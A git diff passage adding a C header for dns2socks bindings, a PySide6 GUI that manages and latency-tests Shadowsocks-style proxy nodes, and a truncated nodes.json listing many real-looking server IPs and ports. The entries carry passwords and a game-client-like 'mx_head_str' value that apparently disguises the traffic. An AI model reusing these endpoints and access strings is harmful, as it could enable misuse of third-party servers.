* - force_tcp: whether to force tcp, true or false, default is false + * - cache_records: whether to cache dns records, true or false, default is false + * - verbosity: the verbosity level, see ArgVerbosity enum, default is ArgVerbosity::Info + * - timeout: the timeout in seconds, default is 5 + */ +jint Java_com_github_shadowsocks_bg_Dns2socks_start(JNIEnv env, + JClass _clazz, + JString listen_addr, + JString dns_remote_server, + JString socks5_settings, + jboolean force_tcp, + jboolean cache_records, + jint verbosity, + jint timeout); + +/** + * # Safety + * + * Shutdown dns2socks + */ +jint Java_com_github_shadowsocks_bg_Dns2socks_stop(JNIEnv _env, JClass); + +/** + * # Safety + * + * Run the dns2socks component with some arguments. + * Parameters: + * - listen_addr: the listen address, e.g. "0.0.0.0:53", or null to use the default value + * - dns_remote_server: the dns remote server, e.g. "8.8.8.8:53", or null to use the default value + * - socks5_settings: the socks5 server, e.g. "socks5://[username[:password]@]host:port", or null to use the default value + * - force_tcp: whether to force tcp, true or false, default is false + * - cache_records: whether to cache dns records, true or false, default is false + * - verbosity: the verbosity level, see ArgVerbosity enum, default is ArgVerbosity::Info + * - timeout: the timeout in seconds, default is 5 + */ +int dns2socks_start(const char *listen_addr, + const char *dns_remote_server, + const char *socks5_settings, + bool force_tcp, + bool cache_records, + enum Dns2socksVerbosity verbosity, + int32_t timeout); + +/** + * # Safety + * + * Shutdown the dns2socks component. + */ +int dns2socks_stop(void); + +/** + * # Safety + * + * set dump log info callback. + */ +void dns2socks_set_log_callback(void (*callback)(enum Dns2socksVerbosity, const char*, void*), + void *ctx); + +#ifdef __cplusplus +} // extern "C" +#endif // __cplusplus diff --git a/python/main.py b/python/main.py new file mode 100644 index 0000000..71d4b8f --- /dev/null +++ b/python/main.py @@ -0,0 +1,756 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +""" +多节点 GUI(PySide6)用于管控 ss_client_aes256cfb.py: +- 支持:多节点管理、从链接导入(ss:// 与 ssr://,扩展支持 ?mx= 传 mx_head_str)、节点选择、**真实链路测速**。 +- 测速逻辑(按你的要求): + 1) 在 [60000, 61000) 随机找一个本地端口; + 2) 以子进程启动 ss_client_aes256cfb.py,监听该端口; + 3) 通过 SOCKS5 代理请求 http://www.gstatic.com/generate_204 ; + 4) 统计从发起到收到响应的时延(ms); + 5) 结束子进程。 +- 设计:GUI 只做参数、启停、日志与节点管理;核心网络逻辑仍在 CLI 中。 +- 跨平台:Windows / macOS / Linux。 +- 持久化:~/.ss_client_gui.json 保存全部节点与当前选中项。 + +依赖: + pip install PySide6 requests PySocks +用法: + python ss_client_gui_qt.py + +打包(可选): + pip install pyinstaller + pyinstaller -F -w ss_client_gui_qt.py +""" +from __future__ import annotations + +import base64 +import json +import os +import random +import socket +import subprocess +import sys +import time +from dataclasses import dataclass, asdict +from pathlib import Path +from typing import Dict, List, Optional, Tuple +from urllib.parse import parse_qs, unquote, urlparse + +import requests +try: + import socks +except ImportError: + raise SystemExit("PySocks not found. Install with: pip install PySocks") +from PySide6.QtCore import QProcess, Qt, QThread, Signal, QPropertyAnimation, QRect, QEasingCurve +from PySide6.QtGui import QIcon, QTextCursor, QColor +from PySide6.QtWidgets import ( + QApplication, + QWidget, + QLabel, + QLineEdit, + QSpinBox, + QPushButton, + QTextEdit, + QGridLayout, + QFileDialog, + QMessageBox, + QHBoxLayout, + QListWidget, + QListWidgetItem, + QGroupBox, + QVBoxLayout, + QDialog, + QStyleFactory, + QGraphicsDropShadowEffect, +) + +CONFIG_FILE = Path.cwd() / ".ss_client_gui.json" +DEFAULT_SCRIPT = "ss.exe" # 开发态可改为 "ss.py";下面会自动判断 +TEST_URL = "http://1.1.1.1" +TEST_RANGE = (60000, 61000) # [low, high) + + +# ------------------------------ 数据模型 ---------------------------------- # + +@dataclass +class Node: + """单个节点配置。""" + name: str + server: str + port: int + password: str + mx: str = "HELLO" + + +@dataclass +class LaunchConfig: + """GUI 全局配置(含节点集合)。""" + script_path: str + nodes: List[Node] + selected: int = 0 + listen_host: str = "0.0.0.0" + listen_port: int = 10477 # 仅 GUI 启停使用;测速使用随机端口 + log_level: str = "INFO" + + +# ------------------------------ 工具函数 ---------------------------------- # + +def app_base_dir() -> Path: + return Path(sys.executable).parent if getattr(sys, "frozen", False) \ + else Path(__file__).resolve().parent + +def _default_script_path() -> str: + return str((app_base_dir() / DEFAULT_SCRIPT).resolve()) + +def _resolve_cmd(script_path: str, extra_args: list[str]) -> list[str]: + """根据后缀拼启动命令:.exe 直接跑;.py 用当前解释器;相对路径基于程序目录。""" + p = Path(script_path) + if not p.is_absolute(): + p = (app_base_dir() / p).resolve() + ext = p.suffix.lower() + if ext in (".exe", ".bat", ".cmd"): + return [str(p), *extra_args] + if ext in (".py", ""): + return [sys.executable, str(p), *extra_args] + return [str(p), *extra_args] + + +def _b64_decode_padded(s: str) -> bytes: + """URL 安全 base64 解码,自动补齐 padding。""" + s = unquote(s.strip()) + pad = (-len(s)) % 4 + if pad: + s += "=" * pad + try: + import base64 as _b64 + return _b64.urlsafe_b64decode(s.encode("utf-8")) + except Exception: + return base64.b64decode(s.encode("utf-8") + b"==") + + +def parse_ss_uri(uri: str) -> Optional[Node]: + """解析 ss:// 链接(两种常见形式)并返回 Node。支持 ?mx= 扩展。""" + try: + if not uri.startswith("ss://"): + return None + body = uri[5:] + if "@" in body and "://" not in body: + parsed = urlparse(uri.replace("ss://", "http://", 1)) + userinfo = parsed.username or "" + method, _, password = (userinfo or ":").partition(":") + host = parsed.hostname or "" + port = parsed.port or 0 + mx = (parse_qs(parsed.query or "").get("mx", [""])[0]) + tag = unquote(parsed.fragment or "") + name = tag or f"{host}:{port}" + if method and method.lower() != "aes-256-cfb": + name = f"{name} (method={method})" + return Node(name=name, server=host, port=int(port), password=password or "", mx=mx or "HELLO") + # base64 形式 + if "#" in body: + b64, tag = body.split("#", 1) + tag = unquote(tag) + else: + b64, tag = body, "" + decoded = _b64_decode_padded(b64).decode("utf-8") + fake = "http://" + decoded + parsed2 = urlparse(fake) + method = parsed2.username or "" + password = parsed2.password or "" + host = parsed2.hostname or "" + port = parsed2.port or 0 + mx = (parse_qs(parsed2.query or "").get("mx", [""])[0]) + name = tag or f"{host}:{port}" + if method and method.lower() != "aes-256-cfb": + name = f"{name} (method={method})" + return Node(name=name, server=host, port=int(port), password=password, mx=mx or "HELLO") + except Exception: + return None + + +def parse_ssr_uri(uri: str) -> Optional[Node]: + """尽力解析 ssr:// 链接,提取 server/port/method/password/remarks。""" + try: + if not uri.startswith("ssr://"): + return None + payload = uri[6:] + decoded = _b64_decode_padded(payload).decode("utf-8") + main, _, qs = decoded.partition("/?") + parts = main.split(":") + if len(parts) < 6: + return None + host, port_str, _proto, method, _obfs, b64pass = parts[:6] + password = _b64_decode_padded(b64pass).decode("utf-8") + name = f"{host}:{port_str}" + if qs: + q = parse_qs(qs) + if "remarks" in q: + try: + name = _b64_decode_padded(q["remarks"][0]).decode("utf-8") or name + except Exception: + pass + if method and method.lower() != "aes-256-cfb": + name = f"{name} (method={method})" + return Node(name=name, server=host, port=int(port_str), password=password, mx="HELLO") + except Exception: + return None + + +def _pick_free_port(low: int, high: int) -> int: + """在 [low, high) 里随机挑一个可绑定的端口。""" + for _ in range(50): + p = random.randint(low, high - 1) + with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: + s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + try: + s.bind(("127.0.0.1", p)) + return p + except OSError: + continue + # 兜底:返回范围起点 + return low + + +def _wait_port_open(host: str, port: int, timeout: float) -> bool: + """等待端口可连接。""" + t0 = time.time() + while time.time() - t0 < timeout: + try: + with socket.create_connection((host, port), timeout=0.3): + return True + except OSError: + time.sleep(0.05) + return False + + +# ------------------------------ 测速线程 ---------------------------------- # + +class LatencyWorker(QThread): + """真实链路测速:起本地代理→走 SOCKS5 拉取 generate_204 → 计时。""" + + result = Signal(int, float, str) # (index, latency_ms or -1, message) + + def __init__(self, index: int, node: Node, script_path: str, log_level: str = "ERROR", url: str = TEST_URL) -> None: + super().__init__() + self.index = index + self.node = node + self.script_path = script_path + self.log_level = log_level + self.url = url + self.proc: Optional[subprocess.Popen] = None + self.local_port: int = 0 + + def run(self) -> None: # noqa: D401 - Qt 线程入口 + try: + self.local_port = _pick_free_port(*TEST_RANGE) + core_args = [ + "--remote-host", self.node.server, + "--remote-port", str(self.node.port), + "--password", self.node.password, + "--mx", self.node.mx, + "--listen", "0.0.0.0", + "--port", str(self.local_port), + "--log", self.log_level, + ] + cmd = _resolve_cmd(self.script_path, core_args) + #print(cmd) + # 启动子进程(静默) + # 关键修复:设置子进程的工作目录为 exe 所在目录 + # 这能确保它能找到依赖的 DLL 或其他资源文件 + cwd = Path(cmd[0]).parent + #print(cwd) + self.proc = subprocess.Popen( + cmd, + stdout=subprocess.PIPE, + stderr=subprocess.STDOUT, + creationflags=(subprocess.CREATE_NO_WINDOW if os.name == "nt" else 0), + cwd=cwd, + ) + if not _wait_port_open("localhost", self.local_port, timeout=5.0): + raise RuntimeError("本地代理启动超时") + + proxies = { + "http": f"socks5h://127.0.0.1:{self.local_port}", + "https": f"socks5h://127.0.0.1:{self.local_port}", + } + t0 = time.time() + r = requests.get(self.url, proxies=proxies, timeout=8.0, allow_redirects=False) + # generate_204 正常返回 204,无 body + if r.status_code not in (204, 200, 301, 302): + raise RuntimeError(f"HTTP {r.status_code}") + ms = (time.time() - t0) * 1000.0 + self.result.emit(self.index, ms, "ok") + except Exception as e: + print(e) + self.result.emit(self.index, -1.0, str(e)) + finally: + # 清理子进程 + if self.proc: + try: + self.proc.terminate() + try: + self.proc.wait(timeout=2.0) + except subprocess.TimeoutExpired: + self.proc.kill() + self.proc.wait(timeout=1.0) + except Exception: + pass + + +# ------------------------------ GUI 主体 ---------------------------------- # + +class SsGui(QWidget): + def __init__(self) -> None: + super().__init__() + self.setWindowTitle("Galaxy's Muxun Client") + if sys.platform.startswith("win"): + self.setWindowIcon(QIcon()) + + # 设置窗口的样式 + self.setStyle(QStyleFactory.create("Fusion")) # 使用融合风格,适应各平台 + + # 配置窗口的背景颜色和字体 + self.setStyleSheet(""" + QWidget { + background-color: #f4f4f9; + color: #333333; + font-family: Arial, Helvetica, sans-serif; + font-size: 12pt; + } + QPushButton { + background-color: #6c757d; + color: white; + border-radius: 8px; + padding: 8px; + font-size: 11pt; + } + QPushButton:hover { + background-color: #5a6268; + } + QPushButton:pressed { + background-color: #495057; + } + QLineEdit { + border: 1px solid #ccc; + border-radius: 5px; + padding: 5px; + } + QTextEdit { + border: 1px solid #ccc; + border-radius: 5px; + padding: 5px; + } + QListWidget { + border: 1px solid #ccc; + border-radius: 5px; + padding: 5px; + } + QGroupBox { + background-color: #e9ecef; + border-radius: 8px; + padding: 10px; + } + QLabel { + color: #444; + } + """) + + self.proc: QProcess | None = None + self.latency_threads: List[LatencyWorker] = [] + self.cfg = self._load_config() + self._init_ui() + self._refresh_list() + self._load_selected_to_form() + + def _init_ui(self) -> None: + layout = QGridLayout(self) + row = 0 + + # 左侧:节点列表 + 操作按钮 + left_box = QVBoxLayout() + self.list_nodes = QListWidget(self) + self.list_nodes.currentRowChanged.connect(self._on_select_changed) + left_box.addWidget(self.list_nodes) + + btns_row = QHBoxLayout() + self.btn_add = QPushButton("新增", self) + self.btn_import = QPushButton("导入链接", self) + self.btn_delete = QPushButton("删除", self) + self.btn_test = QPushButton("测速", self) + self.btn_test_all = QPushButton("全部测速", self) + for b in (self.btn_add, self.btn_import, self.btn_delete, self.btn_test, self.btn_test_all): + btns_row.addWidget(b) + left_box.addLayout(btns_row) + + self.btn_add.clicked.connect(self._add_node) + self.btn_import.clicked.connect(self._import_links) + self.btn_delete.clicked.connect(self._delete_node) + self.btn_test.clicked.connect(self._test_selected) + self.btn_test_all.clicked.connect(self._test_all) + + # 右侧:节点详情 + right_grp = QGroupBox("节点详情", self) + fg = QGridLayout(right_grp) + r = 0 + fg.addWidget(QLabel("名称"), r, 0) + self.edit_name = QLineEdit(self); fg.addWidget(self.edit_name, r, 1, 1, 3); r += 1 + fg.addWidget(QLabel("远端IP/域名"), r, 0) + self.edit_remote_host = QLineEdit(self); fg.addWidget(self.edit_remote_host, r, 1) + fg.addWidget(QLabel("端口"), r, 2) + self.spin_remote_port = QSpinBox(self); self.spin_remote_port.setRange(1, 65535) + fg.addWidget(self.spin_remote_port, r, 3); r += 1 + fg.addWidget(QLabel("密码"), r, 0) + self.edit_password = QLineEdit(self); self.edit_password.setEchoMode(QLineEdit.Password) + fg.addWidget(self.edit_password, r, 1) + fg.addWidget(QLabel("mx_head_str"), r, 2) + self.edit_mx = QLineEdit(self); fg.addWidget(self.edit_mx, r, 3); r += 1 + + # 全局设置 + sys_grp = QGroupBox("全局设置", self) + sg = QGridLayout(sys_grp) + c = 0 + sg.addWidget(QLabel("脚本"), c, 0) + self.edit_script = QLineEdit(self) + btn_browse = QPushButton("浏览…", self); btn_browse.clicked.connect(self._browse_script) + hb = QHBoxLayout(); hb.addWidget(self.edit_script); hb.addWidget(btn_browse) + sg.addLayout(hb, c, 1, 1, 3); c += 1 + sg.addWidget(QLabel("本地监听IP"), c, 0) + self.edit_listen_host = QLineEdit(self); sg.addWidget(self.edit_listen_host, c, 1) + sg.addWidget(QLabel("端口"), c, 2) + self.spin_listen_port = QSpinBox(self); self.spin_listen_port.setRange(1, 65535) + sg.addWidget(self.spin_listen_port, c, 3); c += 1 + sg.addWidget(QLabel("日志级别"), c, 0) + self.edit_log = QLineEdit(self); self.edit_log.setPlaceholderText("DEBUG/INFO/WARNING/ERROR") + sg.addWidget(self.edit_log, c, 1) + + # 启停按钮 + self.btn_start = QPushButton("启动", self) + self.btn_stop = QPushButton("停止", self); self.btn_stop.setEnabled(False) + self.btn_save = QPushButton("保存节点", self) + self.btn_start.clicked.connect(self.start_process) + self.btn_stop.clicked.connect(self.stop_process) + self.btn_save.clicked.connect(self._save_node_from_form) + + # 日志 + self.text_log = QTextEdit(self); self.text_log.setReadOnly(True) + self.text_log.setPlaceholderText("日志输出…") + + # 布局拼装 + layout.addLayout(left_box, row, 0, 3, 1) + layout.addWidget(right_grp, row, 1) + row += 1 + layout.addWidget(sys_grp, row, 1) + row += 1 + btn_row = QHBoxLayout(); btn_row.addWidget(self.btn_save); btn_row.addStretch(1); btn_row.addWidget(self.btn_start); btn_row.addWidget(self.btn_stop) + layout.addLayout(btn_row, row, 1) + row += 1 + layout.addWidget(self.text_log, row, 0, 1, 2) + + self.setLayout(layout) + self.resize(980, 640) + + # 添加微动效 + self._add_button_animation(self.btn_add) + self._add_button_animation(self.btn_import) + self._add_button_animation(self.btn_delete) + self._add_button_animation(self.btn_test) + self._add_button_animation(self.btn_test_all) + + def _add_button_animation(self, button: QPushButton): + """为按钮添加点击动画效果""" + animation = QPropertyAnimation(button, b"geometry") + animation.setDuration(200) + animation.setStartValue(QRect(button.x(), button.y(), button.width(), button.height())) + animation.setEndValue(QRect(button.x() - 5, button.y() - 5, button.width(), button.height())) + animation.setEasingCurve(QEasingCurve.Type.OutQuad) + button.clicked.connect(lambda: animation.start()) + + # ------------------------------ 配置读写 ------------------------------ # + def _load_config(self) -> LaunchConfig: + # 兼容旧版:若存在单节点字段则迁移 + if CONFIG_FILE: + try: + data = json.loads(CONFIG_FILE.read_text(encoding="utf-8")) + if "nodes" in data: + nodes = [Node(**n) for n in data["nodes"]] + return LaunchConfig( + script_path=data.get("script_path", _default_script_path()), + nodes=nodes, + selected=int(data.get("selected", 0)), + listen_host=data.get("listen_host", "127.0.0.1"), + listen_port=int(data.get("listen_port", 1080)), + log_level=data.get("log_level", "INFO"), + ) + # 迁移旧格式 + node = Node( + name=f"{data.get('remote_host','127.0.0.1')}:{int(data.get('remote_port',8388))}", + server=data.get("remote_host", "127.0.0.1"), + port=int(data.get("remote_port", 8388)), + password=data.get("password", "secret123"), + mx=data.get("mx_head_str", "HELLO"), + ) + return LaunchConfig( + script_path=data.get("script_path", _default_script_path()), + nodes=[node], + selected=0, + listen_host=data.get("listen_host", "127.0.0.1"), + listen_port=int(data.get("listen_port", 1080)), + log_level=data.get("log_level", "INFO"), + ) + except Exception: + pass + return LaunchConfig( + script_path=_default_script_path(), + nodes=[Node(name="demo", server="127.0.0.1", port=8388, password="secret123", mx="HELLO")], + selected=0, + ) + + def _save_all(self) -> None: + data = asdict(self.cfg) + CONFIG_FILE.write_text(json.dumps(data, ensure_ascii=False, indent=2), encoding="utf-8") + self._append_log(f"已保存到 {CONFIG_FILE}") + + # ------------------------------ 列表与表单 ---------------------------- # + def _refresh_list(self) -> None: + self.list_nodes.clear() + for i, n in enumerate(self.cfg.nodes): + item = QListWidgetItem(f"{n.name}") + item.setData(Qt.UserRole, i) + self.list_nodes.addItem(item) + if not self.cfg.nodes: + self.cfg.nodes.append(Node(name="demo", server="127.0.0.1", port=8388, password="secret123", mx="HELLO")) + idx = max(0, min(self.cfg.selected, len(self.cfg.nodes) - 1)) + self.list_nodes.setCurrentRow(idx) + + def _load_selected_to_form(self) -> None: + n = self._current_node() + if not n: + return + self.edit_name.setText(n.name) + self.edit_remote_host.setText(n.server) + self.spin_remote_port.setValue(n.port) + self.edit_password.setText(n.password) + self.edit_mx.setText(n.mx) + self.edit_script.setText(self.cfg.script_path) + self.edit_listen_host.setText(self.cfg.listen_host) + self.spin_listen_port.setValue(self.cfg.listen_port) + self.edit_log.setText(self.cfg.log_level) + + def _current_node(self) -> Optional[Node]: + idx = self.list_nodes.currentRow() + if 0 <= idx < len(self.cfg.nodes): + self.cfg.selected = idx + return self.cfg.nodes[idx] + return None + + def _on_select_changed(self, _row: int) -> None: + self._load_selected_to_form() + + # ------------------------------ 节点操作 ------------------------------ # + def _add_node(self) -> None: + self.cfg.nodes.append(Node(name="new", server="127.0.0.1", port=8388, password="", mx="HELLO")) + self._refresh_list() + self._save_all() + + def _delete_node(self) -> None: + idx = self.list_nodes.currentRow() + if idx < 0 or idx >= len(self.cfg.nodes): + return + if QMessageBox.question(self, "确认", "删除当前节点?") != QMessageBox.Yes: + return + self.cfg.nodes.pop(idx) + self._refresh_list() + self._save_all() + + def _save_node_from_form(self) -> None: + n = self._current_node() + if not n: + return + server = self.edit_remote_host.text().strip() + if not server: + QMessageBox.warning(self, "无效参数", "远端地址不能为空") + return + port = int(self.spin_remote_port.value()) + if not (1 <= port <= 65535): + QMessageBox.warning(self, "无效参数", "端口范围 1-65535") + return + n.name = self.edit_name.text().strip() or f"{server}:{port}" + n.server = server + n.port = port + n.password = self.edit_password.text() + n.mx = self.edit_mx.text() + self.cfg.script_path = self.edit_script.text().strip() or _default_script_path() + self.cfg.listen_host = self.edit_listen_host.text().strip() or "127.0.0.1" + self.cfg.listen_port = int(self.spin_listen_port.value()) + self.cfg.log_level = self.edit_log.text().strip() or "INFO" + self._refresh_list() + self._save_all() + + def _import_links(self) -> None: + """从文本/剪贴板导入多条链接(ss:// 或 ssr://)。""" + dlg = QDialog(self) + dlg.setWindowTitle("导入链接(每行一个)") + v = QVBoxLayout(dlg) + edit = QTextEdit(dlg) + edit.setPlaceholderText("粘贴 ss:// 或 ssr:// 链接,每行一条。\n扩展:在 ss 链接中可使用 ?mx=... 传 mx_head_str。") + v.addWidget(edit) + btn_row = QHBoxLayout(); + b_ok = QPushButton("导入", dlg); b_cancel = QPushButton("取消", dlg) + btn_row.addWidget(b_ok); btn_row.addWidget(b_cancel) + v.addLayout(btn_row) + b_ok.clicked.connect(dlg.accept) + b_cancel.clicked.connect(dlg.reject) + if not dlg.exec(): + return + + count = 0 + for line in edit.toPlainText().splitlines(): + line = line.strip() + if not line: + continue + node = parse_ss_uri(line) or parse_ssr_uri(line) + if node: + self.cfg.nodes.append(node) + count += 1 + if count > 0: + self._refresh_list() + self._save_all() + self._append_log(f"成功导入 {count} 个节点。") + + # ------------------------------ 核心流程 ------------------------------ # + def _test_selected(self) -> None: + n = self._current_node() + if n: + self._test_nodes([self.cfg.selected]) + + def _test_all(self) -> None: + self._test_nodes(list(range(len(self.cfg.nodes)))) + + def _test_nodes(self, indices: List[int]) -> None: + self.latency_threads = [t for t in self.latency_threads if t.isRunning()] + if any(t.isRunning() for t in self.latency_threads): + QMessageBox.information(self, "提示", "已有测速任务在进行中。") + return + + for i in indices: + self.list_nodes.item(i).setText(f"{self.cfg.nodes[i].name} (测速中…)") + worker = LatencyWorker(i, self.cfg.nodes[i], self.cfg.script_path, self.cfg.log_level) + worker.result.connect(self._on_latency_result) + worker.start() + self.latency_threads.append(worker) + + def _on_latency_result(self, index: int, ms: float, msg: str) -> None: + name = self.cfg.nodes[index].name + text = f"{name} ({ms:.1f} ms)" if ms > 0 else f"{name} (失败: {msg})" + self.list_nodes.item(index).setText(text) + + def start_process(self) -> None: + """启动核心进程。""" + n = self._current_node() + if not n: + return + self._save_node_from_form() # 启动前自动保存一次 + args = self._build_cli_args(n) + prog, prog_args = self._program_and_args(args) + self._append_log(f"启动: {prog} {' '.join(prog_args)}") + + self.proc = QProcess(self) + # 合并 stdout/stderr, 确保所有输出都能被捕获 + self.proc.setProcessChannelMode(QProcess.MergedChannels) + self.proc.setReadChannel(QProcess.StandardOutput) + # 关键修复:同样为 QProcess 设置工作目录 + self.proc.setWorkingDirectory(str(Path(prog).parent)) + self.proc.setProgram(prog) + self.proc.setArguments(prog_args) + self.proc.readyReadStandardOutput.connect(self._read_stdout) + self.proc.finished.connect(self._on_finished) + self.proc.start() + + self.btn_start.setEnabled(False) + self.btn_stop.setEnabled(True) + + def stop_process(self) -> None: + if not self.proc: + return + self.proc.terminate() + if not self.proc.waitForFinished(3000): + self.proc.kill() + self.proc.waitForFinished(2000) + self.proc = None + self.btn_start.setEnabled(True) + self.btn_stop.setEnabled(False) + self._append_log("已停止。") + + def _read_stdout(self) -> None: + if not self.proc: + return + text = self.proc.readAllStandardOutput().data().decode("utf-8", errors="replace") + self.text_log.moveCursor(QTextCursor.End) + self.text_log.insertPlainText(text) + self.text_log.moveCursor(QTextCursor.End) + + def _on_finished(self, code: int, _status) -> None: + self._append_log(f"进程退出,code={code}\n") + self.proc = None + self.btn_start.setEnabled(True) + self.btn_stop.setEnabled(False) + + def _browse_script(self) -> None: + path, _ = QFileDialog.getOpenFileName( + self, "选择核心(可执行/脚本)", str(app_base_dir()), + "Executable (*.exe);;Python (*.py);;All (*)" + ) + if path: + self.edit_script.setText(path) + + def _build_cli_args(self, n: Node) -> List[str]: + return [ + "--remote-host", n.server, + "--remote-port", str(n.port), + "--password", n.password, + "--mx", n.mx, + "--listen", self.cfg.listen_host, + "--port", str(self.cfg.listen_port), + "--log", self.cfg.log_level, + ] + + def _program_and_args(self, base_args: list[str]) -> tuple[str, list[str]]: + """QProcess 版同样按后缀选择:exe 直跑;py 用解释器。""" + p = Path(self.cfg.script_path) + if not p.is_absolute(): + p = (app_base_dir() / p).resolve() + ext = p.suffix.lower() + if ext in (".exe", ".bat", ".cmd"): + return str(p), base_args + if ext in (".py", ""): + return sys.executable, [str(p), *base_args] + return str(p), base_args + + def _append_log(self, line: str) -> None: + self.text_log.append(line) + self.text_log.moveCursor(QTextCursor.End) + + def closeEvent(self, event) -> None: # noqa: N802 - Qt 命名约定 + try: + self.stop_process() + self._save_all() + except Exception: + pass + try: + for t in self.latency_threads: + t.terminate() + except Exception: + pass + event.accept() + + +def main() -> None: + app = QApplication(sys.argv) + gui = SsGui() + gui.show() + sys.exit(app.exec()) + + +if __name__ == "__main__": + main() diff --git a/python/nodes.json b/python/nodes.json new file mode 100644 index 0000000..022087b --- /dev/null +++ b/python/nodes.json @@ -0,0 +1,1220 @@ +[ + { + "name": "香港专线526", + "server": "59.37.81.107", + "server_port": 36002, + "method": "aes-256-gcm", + "password": "电信", + "local_address": "0.0.0.0", + "local_port": 21180, + "mx_head_str": "com.win64.oppc.game.common:22021709,102024080020541279", + "PluginName": null, + "PluginOption": "dwz1GtF7", + "ConfigType": 0, + "latency": "N/A" + }, + { + "name": "韩国专线139", + "server": "112.54.161.34", + "server_port": 22404, + "method": "aes-256-cfb", + "password": "移动", + "local_address": "0.0.0.0", + "local_port": 21180, + "mx_head_str": "com.win64.oppc.game.common:22021709,102024080020541279", + "PluginName": null, + "PluginOption": "dwz1GtF7", + "ConfigType": 0, + "latency": "N/A" + }, + { + "name": "欧洲专线777", + "server": "123.125.14.84", + "server_port": 22405, + "method": "aes-256-cfb", + "password": "联通", + "local_address": "0.0.0.0", + "local_port": 21180, + "mx_head_str": "com.win64.oppc.game.common:22021709,102024080020541279", + "PluginName": null, + "PluginOption": "dwz1GtF7", + "ConfigType": 0, + "latency": "N/A" + }, + { + "name": "欧洲专线857", + "server": "106.38.203.2", + "server_port": 22405, + "method": "aes-256-cfb", + "password": "电信", + "local_address": "0.0.0.0", + "local_port": 21180, + "mx_head_str": "com.win64.oppc.game.common:22021709,102024080020541279", + "PluginName": null, + "PluginOption": "dwz1GtF7", + "ConfigType": 0, + "latency": "N/A" + }, + { + "name": "欧洲专线155", + "server": "106.38.203.3", + "server_port": 22407, + "method": "aes-256-cfb", + "password": "移动", + "local_address": "0.0.0.0", + "local_port": 21180, + "mx_head_str": "com.win64.oppc.game.common:22021709,102024080020541279", + "PluginName": null, + "PluginOption": "dwz1GtF7", + "ConfigType": 0, + "latency": "N/A" + }, + { + "name": "香港专线254", + "server": "122.13.18.53", + "server_port": 10003, + "method": "aes-256-cfb", + "password": "联通", + "local_address": "0.0.0.0", + "local_port": 21180, + "mx_head_str": "com.win64.oppc.game.common:22021709,102024080020541279", + "PluginName": null, + "PluginOption": "dwz1GtF7", + "ConfigType": 0, + "latency": "N/A" + }, + { + "name": "国际专线665", + "server": "120.241.69.8", + "server_port": 10000, + "method": "aes-256-cfb", + "password": "移动", + "local_address": "0.0.0.0", + "local_port": 21180, + "mx_head_str": "com.win64.oppc.game.common:22021709,102024080020541279", + "PluginName": null, + "PluginOption": "dwz1GtF7", + "ConfigType": 0, + "latency": "N/A" + }, + { + "name": "首尔专线446", + "server": "202.101.50.6", + "server_port": 22406, + "method": "aes-256-cfb", + "password": "电信", + "local_address": "0.0.0.0", + "local_port": 21180, + "mx_head_str": "com.win64.oppc.game.common:22021709,102024080020541279", + "PluginName": null, + "PluginOption": "dwz1GtF7", + "ConfigType": 0, + "latency": "N/A" + }, + { + "name": "国际专线91", + "server": "183.60.131.171", + "server_port": 10000, + "method": "aes-256-cfb", + "password": "电信", + "local_address": "0.0.0.0", + "local_port": 21180, + "mx_head_str": "com.win64.oppc.game.common:22021709,102024080020541279", + "PluginName": null, + "PluginOption": "dwz1GtF7", + "ConfigType": 0, + "latency": "N/A" + }, + { + "name": "上海专线776", + "server": "113.31.103.81", + "server_port": 22407, + "method": "aes-256-cfb", + "password": "未知", + "local_address": "0.0.0.0", + "local_port": 21180, + "mx_head_str": "com.win64.oppc.game.common:22021709,102024080020541279", + "PluginName": null, + "PluginOption": "dwz1GtF7", + "ConfigType": 0, + "latency": "N/A" + }, + { + "name": "上海专线336", + "server": "113.31.103.81", + "server_port": 22404, + "method": "aes-256-cfb", + "password": "未知", + "local_address": "0.0.0.0", + "local_port": 21180, + "mx_head_str": "com.win64.oppc.game.common:22021709,102024080020541279", + "PluginName": null, + "PluginOption": "dwz1GtF7", + "ConfigType": 0, + "latency": "N/A" + }, + { + "name": "北美专线588", + "server": "103.238.186.110", + "server_port": 22405, + "method": "aes-256-cfb", + "password": "联通", + "local_address": "0.0.0.0", + "local_port": 21180, + "mx_head_str": "com.win64.oppc.game.common:22021709,102024080020541279", + "PluginName": null, + "PluginOption": "dwz1GtF7", + "ConfigType": 0, + "latency": "N/A" + }, + { + "name": "北美专线784", + "server": "117.143.9.35", + "server_port": 22411, + "method": "aes-256-cfb", + "password": "移动", + "local_address": "0.0.0.0", + "local_port": 21180, + "mx_head_str": "com.win64.oppc.game.common:22021709,102024080020541279", + "PluginName": null, + "PluginOption": "dwz1GtF7", + "ConfigType": 0, + "latency": "N/A" + }, + { + "name": "香港专线992", + "server": "59.37.81.100", + "server_port": 10002, + "method": "aes-256-cfb", + "password": "电信", + "local_address": "0.0.0.0", + "local_port": 21180, + "mx_head_str": "com.win64.oppc.game.common:22021709,102024080020541279", + "PluginName": null, + "PluginOption": "dwz1GtF7", + "ConfigType": 0, + "latency": "N/A" + }, + { + "name": "俄罗斯专线310", + "server": "223.71.245.185", + "server_port": 10009, + "method": "aes-256-cfb", + "password": "移动", + "local_address": "0.0.0.0", + "local_port": 21180, + "mx_head_str": "com.win64.oppc.game.common:22021709,102024080020541279", + "PluginName": null, + "PluginOption": "dwz1GtF7", + "ConfigType": 0, + "latency": "N/A" + }, + { + "name": "香港专线886", + "server": "111.45.30.118", + "server_port": 10003, + "method": "aes-256-cfb", + "password": "移动", + "local_address": "0.0.0.0", + "local_port": 21180, + "mx_head_str": "com.win64.oppc.game.common:22021709,102024080020541279", + "PluginName": null, + "PluginOption": "dwz1GtF7", + "ConfigType": 0, + "latency": "N/A" + }, + { + "name": "新加坡专线135", + "server": "183.232.156.113", + "server_port": 22404, + "method": "aes-256-cfb", + "password": "移动", + "local_address": "0.0.0.0", + "local_port": 21180, + "mx_head_str": "com.win64.oppc.game.common:22021709,102024080020541279", + "PluginName": null, + "PluginOption": "dwz1GtF7", + "ConfigType": 0, + "latency": "N/A" + }, + { + "name": "新加坡专线146", + "server": "183.232.156.113", + "server_port": 22406, + "method": "aes-256-cfb", + "password": "移动", + "local_address": "0.0.0.0", + "local_port": 21180, + "mx_head_str": "com.win64.oppc.game.common:22021709,102024080020541279", + "PluginName": null, + "PluginOption": "dwz1GtF7", + "ConfigType": 0, + "latency": "N/A" + }, + { + "name": "北美专线945", + "server": "101.227.72.144", + "server_port": 22405, + "method": "aes-256-cfb", + "password": "移动", + 